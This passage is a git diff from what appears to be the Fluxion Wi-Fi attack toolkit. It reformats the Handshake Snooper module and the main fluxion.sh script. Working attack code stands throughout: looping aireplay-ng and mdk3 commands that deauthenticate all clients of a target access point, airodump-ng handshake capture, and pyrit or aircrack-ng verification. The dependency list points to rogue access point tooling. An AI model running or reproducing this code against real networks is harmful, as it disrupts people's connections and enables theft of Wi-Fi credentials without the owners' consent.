xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \ - airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor & - local parentPID=$! + xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \ + airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor & + local parentPID=$! - while [ ! "$HANDSHAKECaptorPID" ]; do - sleep 1 & wait $! - HANDSHAKECaptorPID=$(pgrep -P $parentPID) - done + while [ ! "$HANDSHAKECaptorPID" ]; do + sleep 1 & + wait $! + HANDSHAKECaptorPID=$(pgrep -P $parentPID) + done } function handshake_snooper_stop_deauthenticator() { - if [ "$HANDSHAKEDeauthenticatorPID" ] - then kill $HANDSHAKEDeauthenticatorPID &> $FLUXIONOutputDevice - fi + if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice + fi - HANDSHAKEDeauthenticatorPID="" + HANDSHAKEDeauthenticatorPID="" } function handshake_snooper_start_deauthenticator() { - if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi - if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi + if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi + if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi - handshake_snooper_stop_deauthenticator + handshake_snooper_stop_deauthenticator - # Prepare deauthenticators - case "$HANDSHAKEDeauthenticatorIdentifier" in - "$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst - esac + # Prepare deauthenticators + case "$HANDSHAKEDeauthenticatorIdentifier" in + "$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;; + esac - # Start deauthenticators. - case "$HANDSHAKEDeauthenticatorIdentifier" in - "$HandshakeSnooperAireplayMethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ - "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" & - HANDSHAKEDeauthenticatorPID=$!;; - "$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ - "while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" & - HANDSHAKEDeauthenticatorPID=$!;; - esac + # Start deauthenticators. + case "$HANDSHAKEDeauthenticatorIdentifier" in + "$HandshakeSnooperAireplayMethodOption") + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ + "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" & + HANDSHAKEDeauthenticatorPID=$! + ;; + "$HandshakeSnooperMdk3MethodOption") + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ + "while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" & + HANDSHAKEDeauthenticatorPID=$! + ;; + esac } function handshake_snooper_unset_deauthenticator_identifier() { - HANDSHAKEDeauthenticatorIdentifier="" + HANDSHAKEDeauthenticatorIdentifier="" } function handshake_snooper_set_deauthenticator_identifier() { - if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi + if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi - handshake_snooper_unset_deauthenticator_identifier + handshake_snooper_unset_deauthenticator_identifier - local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption") - io_query_choice "$HandshakeSnooperMethodQuery" methods[@] + local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption") + io_query_choice "$HandshakeSnooperMethodQuery" methods[@] - HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice + HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice - echo + echo - if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then - handshake_snooper_unset_deauthenticator_identifier - return 1 - fi + if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then + handshake_snooper_unset_deauthenticator_identifier + return 1 + fi } function handshake_snooper_unset_verifier_identifier() { - HANDSHAKEVerifierIdentifier="" + HANDSHAKEVerifierIdentifier="" } function handshake_snooper_set_verifier_identifier() { - if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi + if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi - handshake_snooper_unset_verifier_identifier + handshake_snooper_unset_verifier_identifier - local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption") - io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@] + local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption") + io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@] - echo + echo - case "$IOQueryChoice" in - "$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit";; - "$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng";; - "$FLUXIONGeneralBackOption") - handshake_snooper_unset_verifier_identifier - return 1;; - esac + case "$IOQueryChoice" in + "$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;; + "$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;; + "$FLUXIONGeneralBackOption") + handshake_snooper_unset_verifier_identifier + return 1 + ;; + esac } function handshake_snooper_unset_verifier_interval() { - HANDSHAKEVerifierInterval="" + HANDSHAKEVerifierInterval="" } function handshake_snooper_set_verifier_interval() { - if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi + if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi - handshake_snooper_unset_verifier_interval + handshake_snooper_unset_verifier_interval - local choices=("$HandshakeSnooperVerifierInterval30SOption" "$HandshakeSnooperVerifierInterval60SOption" "$HandshakeSnooperVerifierInterval90SOption" "$FLUXIONGeneralBackOption") - io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@] + local choices=("$HandshakeSnooperVerifierInterval30SOption" "$HandshakeSnooperVerifierInterval60SOption" "$HandshakeSnooperVerifierInterval90SOption" "$FLUXIONGeneralBackOption") + io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@] - case "$IOQueryChoice" in - "$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30;; - "$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60;; - "$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90;; - "$FLUXIONGeneralBackOption") - handshake_snooper_unset_verifier_interval - return 1;; - esac + case "$IOQueryChoice" in + "$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;; + "$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;; + "$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;; + "$FLUXIONGeneralBackOption") + handshake_snooper_unset_verifier_interval + return 1 + ;; + esac } function handshake_snooper_unset_verifier_synchronicity() { - HANDSHAKEVerifierSynchronicity="" + HANDSHAKEVerifierSynchronicity="" } function handshake_snooper_set_verifier_synchronicity() { - if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi + if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi - handshake_snooper_unset_verifier_synchronicity + handshake_snooper_unset_verifier_synchronicity - local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption") - io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@] + local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption") + io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@] - case "$IOQueryChoice" in - "$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking";; - "$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking";; - "$FLUXIONGeneralBackOption") - handshake_snooper_unset_verifier_synchronicity - return 1;; - esac + case "$IOQueryChoice" in + "$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;; + "$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;; + "$FLUXIONGeneralBackOption") + handshake_snooper_unset_verifier_synchronicity + return 1 + ;; + esac } function unprep_attack() { - HandshakeSnooperState="Not Ready" + HandshakeSnooperState="Not Ready" - handshake_snooper_unset_verifier_synchronicity - handshake_snooper_unset_verifier_interval - handshake_snooper_unset_verifier_identifier - handshake_snooper_unset_deauthenticator_identifier + handshake_snooper_unset_verifier_synchronicity + handshake_snooper_unset_verifier_interval + handshake_snooper_unset_verifier_identifier + handshake_snooper_unset_deauthenticator_identifier - sandbox_remove_workfile "$FLUXIONWorkspacePath/capture" + sandbox_remove_workfile "$FLUXIONWorkspacePath/capture" } function prep_attack() { - mkdir -p "$FLUXIONWorkspacePath/capture" + mkdir -p "$FLUXIONWorkspacePath/capture" - while true; do - handshake_snooper_set_deauthenticator_identifier; if [ $? -ne 0 ]; then break; fi - handshake_snooper_set_verifier_identifier; if [ $? -ne 0 ]; then - handshake_snooper_unset_deauthenticator_identifier; continue - fi - handshake_snooper_set_verifier_interval; if [ $? -ne 0 ]; then - handshake_snooper_unset_verifier_identifier; continue - fi - handshake_snooper_set_verifier_synchronicity; if [ $? -ne 0 ]; then - handshake_snooper_unset_verifier_interval; continue; - fi - HandshakeSnooperState="Ready" - break - done + while true; do + handshake_snooper_set_deauthenticator_identifier + if [ $? -ne 0 ]; then break; fi + handshake_snooper_set_verifier_identifier + if [ $? -ne 0 ]; then + handshake_snooper_unset_deauthenticator_identifier + continue + fi + handshake_snooper_set_verifier_interval + if [ $? -ne 0 ]; then + handshake_snooper_unset_verifier_identifier + continue + fi + handshake_snooper_set_verifier_synchronicity + if [ $? -ne 0 ]; then + handshake_snooper_unset_verifier_interval + continue + fi + HandshakeSnooperState="Ready" + break + done - # Check for handshake abortion. - if [ "$HandshakeSnooperState" != "Ready" ]; then - unprep_attack - return 1; - fi + # Check for handshake abortion. + if [ "$HandshakeSnooperState" != "Ready" ]; then + unprep_attack + return 1 + fi } function stop_attack() { - if [ "$HANDSHAKEArbiterPID" ]; then - kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice - fi + if [ "$HANDSHAKEArbiterPID" ]; then + kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice + fi - HANDSHAKEArbiterPID="" + HANDSHAKEArbiterPID="" - HandshakeSnooperState="Stopped" + HandshakeSnooperState="Stopped" } function start_attack() { - if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi - if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi - HandshakeSnooperState="Running" + if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi + if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi + HandshakeSnooperState="Running" - handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice & - HANDSHAKEArbiterPID=$! + handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice & + HANDSHAKEArbiterPID=$! } # FLUXSCRIPT END diff --git a/fluxion.sh b/fluxion.sh index 582f8de..dc73f09 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -3,7 +3,8 @@ ################################ < FLUXION Parameters > ################################ # NOTE: The FLUXIONPath constant will not be populated correctly if the script is called # directly via a symlink. Symlinks in the path to the script should work completely fine. -declare -r FLUXIONPath="$( cd "$(dirname "$0")" ; pwd -P )" +declare -r FLUXIONPath="$(cd "$(dirname "$0")" ;pwd -P +)" declare -r FLUXIONWorkspacePath="/tmp/fluxspace" declare -r FLUXIONHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes" @@ -13,7 +14,7 @@ declare -r FLUXIONNoiseFloor=-90 declare -r FLUXIONNoiseCeiling=-60 declare -r FLUXIONVersion=3 -declare -r FLUXIONRevision=10 +declare -r FLUXIONRevision=11 declare -r FLUXIONDebug=${FLUXIONDebug:+1} declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1} @@ -58,24 +59,24 @@ HashOutputDevice="$FLUXIONOutputDevice" ################################# < Super User Check > ################################# if [ $EUID -ne 0 ]; then - echo -e "${CRed}You don't have admin privilegies, execute the script as root.$CClr" - exit 1 + echo -e "${CRed}You don't have admin privilegies, execute the script as root.$CClr" + exit 1 fi ################################### < XTerm Checks > ################################### if [ ! "${DISPLAY:-}" ]; then - echo -e "${CRed}The script should be exected inside a X (graphical) session.$CClr" - exit 2 + echo -e "${CRed}The script should be exected inside a X (graphical) session.$CClr" + exit 2 fi if ! hash xdpyinfo 2>/dev/null; then - echo -e "${CRed}xdpyinfo not installed, please install the relevant package for your distribution.$CClr" - exit 3 + echo -e "${CRed}xdpyinfo not installed, please install the relevant package for your distribution.$CClr" + exit 3 fi -if ! xdpyinfo &> /dev/null; then - echo -e "${CRed}The script failed to initialize an xterm test session.$CClr" - exit 3 +if ! xdpyinfo &>/dev/null; then + echo -e "${CRed}The script failed to initialize an xterm test session.$CClr" + exit 3 fi ################################# < Default Language > ################################# @@ -86,110 +87,109 @@ if [ -x "$FLUXIONPath/preferences.sh" ]; then source "$FLUXIONPath/preferences.s ######################################################################################## function fluxion_exitmode() { - if [ $FLUXIONDebug ]; then return 1; fi + if [ $FLUXIONDebug ]; then return 1; fi - fluxion_header + fluxion_header - echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr" + echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr" - # List currently running processes which we might have to kill before exiting. - local processes - readarray processes < <(ps -A) + # List currently running processes which we might have to kill before exiting. + local processes + readarray processes < <(ps -A) - # Currently, fluxion is only responsible for killing airodump-ng, because - # fluxion explicitly it uses it to scan for candidate target access points. - # NOTICE: Processes started by subscripts, such as an attack script, - # MUST BE TERMINATED BY THAT SAME SCRIPT in the subscript's abort handler. - local targets=("airodump-ng") + # Currently, fluxion is only responsible for killing airodump-ng, because + # fluxion explicitly it uses it to scan for candidate target access points. + # NOTICE: Processes started by subscripts, such as an attack script, + # MUST BE TERMINATED BY THAT SAME SCRIPT in the subscript's abort handler. + local targets=("airodump-ng") - local targetID # Program identifier/title - for targetID in "${targets[@]}"; do - # Get PIDs of all programs matching targetPID - local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}') - if [ ! "$targetPID" ]; then continue; fi - echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`" - killall $targetPID &> $FLUXIONOutputDevice - done + local targetID # Program identifier/title + for targetID in "${targets[@]}"; do + # Get PIDs of all programs matching targetPID + local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}') + if [ ! "$targetPID" ]; then continue; fi + echo -e "$CWht[$CRed-$CWht] $(io_dynamic_output $FLUXIONKillingProcessNotice)" + killall $targetPID &>$FLUXIONOutputDevice + done + # If the installer activated the package manager, make sure to undo any changes. + if [ "$PackageManagerCLT" ]; then + echo -e "$CWht[$CRed-$CWht] "$(io_dynamic_output "$FLUXIONRestoringPackageManagerNotice")"$CClr" + unprep_package_manager + fi - # If the installer activated the package manager, make sure to undo any changes. - if [ "$PackageManagerCLT" ]; then - echo -e "$CWht[$CRed-$CWht] "$(io_dynamic_output "$FLUXIONRestoringPackageManagerNotice")"$CClr" - unprep_package_manager + if [ "$WIMonitor" ]; then + echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr" + if [ "$FLUXIONAirmonNG" ]; then airmon-ng stop "$WIMonitor" &>$FLUXIONOutputDevice + else interface_set_mode "$WIMonitor" "managed" fi + fi + echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr" + tput cnorm - if [ "$WIMonitor" ]; then - echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr" - if [ "$FLUXIONAirmonNG" ] - then airmon-ng stop "$WIMonitor" &> $FLUXIONOutputDevice - else interface_set_mode "$WIMonitor" "managed" - fi - fi + if [ ! $FLUXIONDebug ]; then + echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr" + sandbox_remove_workfile "$FLUXIONWorkspacePath/*" + fi - echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr" - tput cnorm + if [ $FLUXIONWIKillProcesses ]; then + echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr" - if [ ! $FLUXIONDebug ]; then - echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr" - sandbox_remove_workfile "$FLUXIONWorkspacePath/*" - fi + # systemctl check + systemd=$(whereis systemctl) + if [ "$systemd" = "" ]; then + service network-manager restart &>$FLUXIONOutputDevice & + service networkmanager restart &>$FLUXIONOutputDevice & + service networking restart &>$FLUXIONOutputDevice & + else + systemctl restart NetworkManager &>$FLUXIONOutputDevice & + fi + fi - if [ $FLUXIONWIKillProcesses ]; then - echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr" + echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr" + echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr" - # systemctl check - systemd=$(whereis systemctl) - if [ "$systemd" = "" ];then - service network-manager restart &> $FLUXIONOutputDevice & - service networkmanager restart &> $FLUXIONOutputDevice & - service networking restart &> $FLUXIONOutputDevice & - else - systemctl restart NetworkManager &> $FLUXIONOutputDevice & - fi - fi + sleep 3 - echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr" - echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr" + clear - sleep 3 - - clear - - exit 0 + exit 0 } # Delete log only in Normal Mode ! function fluxion_conditional_clear() { - # Clear iff we're not in debug mode - if [ ! $FLUXIONDebug ]; then clear; fi + # Clear iff we're not in debug mode + if [ ! $FLUXIONDebug ]; then clear; fi } function fluxion_conditional_bail() { - echo ${1:-"Something went wrong, whoops! (report this)"}; sleep 5 - if [ ! $FLUXIONDebug ] - then fluxion_handle_exit; return 1 - fi - echo "Press any key to continue execution..." - read bullshit + echo ${1:-"Something went wrong, whoops! (report this)"} + sleep 5 + if [ ! $FLUXIONDebug ]; then + fluxion_handle_exit + return 1 + fi + echo "Press any key to continue execution..." + read bullshit } # ERROR Report only in Developer Mode function fluxion_error_report() { - echo "Error on line $1" + echo "Error on line $1" } if [ "$FLUXIONDebug" ]; then - trap 'fluxion_error_report $LINENUM' ERR + trap 'fluxion_error_report $LINENUM' ERR fi function fluxion_handle_abort_attack() { - if [ $(type -t stop_attack) ]; then - stop_attack &> $FLUXIONOutputDevice - unprep_attack &> $FLUXIONOutputDevice - else - echo "Attack undefined, can't stop anything..." > $FLUXIONOutputDevice - fi + if [ $(type -t stop_attack) ]; then + stop_attack &>$FLUXIONOutputDevice + unprep_attack &>$FLUXIONOutputDevice + else + echo "Attack undefined, can't stop anything..." >$FLUXIONOutputDevice + fi } # In case an abort signal is received, @@ -197,9 +197,9 @@ function fluxion_handle_abort_attack() { trap fluxion_handle_abort_attack SIGABRT function fluxion_handle_exit() { - fluxion_handle_abort_attack - fluxion_exitmode - exit 1 + fluxion_handle_abort_attack + fluxion_exitmode + exit 1 } # In case of unexpected termination, run fluxion_exitmode @@ -207,768 +207,802 @@ function fluxion_handle_exit() { trap fluxion_handle_exit SIGINT SIGHUP function fluxion_header() { - format_apply_autosize "[%*s]\n" - local verticalBorder=$FormatApplyAutosize + format_apply_autosize "[%*s]\n" + local verticalBorder=$FormatApplyAutosize - format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n"; - local headerTextFormat="$FormatApplyAutosize" + format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n" + local headerTextFormat="$FormatApplyAutosize" - fluxion_conditional_clear + fluxion_conditional_clear - echo -e "`printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g"`" - printf "$CSRed$verticalBorder" "" - printf "$headerTextFormat" "" "" - printf "$CSBlu$verticalBorder" "" - echo -e "`printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g"`$CClr" - echo - echo + echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")" + printf "$CSRed$verticalBorder" "" + printf "$headerTextFormat" "" "" + printf "$CSBlu$verticalBorder" "" + echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr" + echo + echo } # Create working directory if [ ! -d "$FLUXIONWorkspacePath" ]; then - mkdir -p "$FLUXIONWorkspacePath" &> $FLUXIONOutputDevice + mkdir -p "$FLUXIONWorkspacePath" &>$FLUXIONOutputDevice fi ####################################### < Start > ###################################### if [ ! $FLUXIONDebug ]; then - FLUXIONBanner=() + FLUXIONBanner=() - format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐"; FLUXIONBanner+=("$FormatCenterLiterals"); - format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║"; FLUXIONBanner+=("$FormatCenterLiterals"); - format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜"; FLUXIONBanner+=("$FormatCenterLiterals"); - format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║"; FLUXIONBanner+=("$FormatCenterLiterals"); - format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"; FLUXIONBanner+=("$FormatCenterLiterals"); - format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"; FLUXIONBanner+=("$FormatCenterLiterals"); + format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐" + FLUXIONBanner+=("$FormatCenterLiterals") + format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║" + FLUXIONBanner+=("$FormatCenterLiterals") + format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜" + FLUXIONBanner+=("$FormatCenterLiterals") + format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║" + FLUXIONBanner+=("$FormatCenterLiterals") + format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘" + FLUXIONBanner+=("$FormatCenterLiterals") + format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯" + FLUXIONBanner+=("$FormatCenterLiterals") - clear + clear - if [ "$FLUXIONAuto" ] - then echo -e "$CBlu" - else echo -e "$CRed" - fi + if [ "$FLUXIONAuto" ]; then echo -e "$CBlu" + else echo -e "$CRed" + fi - for line in "${FLUXIONBanner[@]}" - do echo "$line"; sleep 0.05 - done - #echo "${FLUXIONBanner[@]}" - echo + for line in "${FLUXIONBanner[@]}"; do + echo "$line" + sleep 0.05 + done + #echo "${FLUXIONBanner[@]}" + echo - sleep 0.1 - format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr"; echo -e "$FormatCenterLiterals" + sleep 0.1 + format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr" + echo -e "$FormatCenterLiterals" - sleep 0.1 - format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost"; echo -e "$FormatCenterLiterals" + sleep 0.1 + format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost" + echo -e "$FormatCenterLiterals" - sleep 0.1 - if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision - then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "`dirname "$FLUXIONPath"`" - fi + sleep 0.1 + if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision; then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$(dirname "$FLUXIONPath")" + fi - echo + echo - FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc") - FLUXIONCLIToolsMissing=() + FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc") + FLUXIONCLIToolsMissing=() - while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@] - do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@] - done + while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@]; do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@] + done fi #################################### < Resolution > #################################### function fluxion_set_resolution() { # Windows + Resolution - # Calc options - RATIO=4 + # Calc options + RATIO=4 - # Get demensions - SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(") - SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}')) - SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}')) + # Get demensions + SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(") + SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}')) + SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}')) - PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc) - NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$RATIO}")/1 | bc) - NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$RATIO}")/1 | bc) + PROPOTION=$(echo $(awk "BEGIN {print 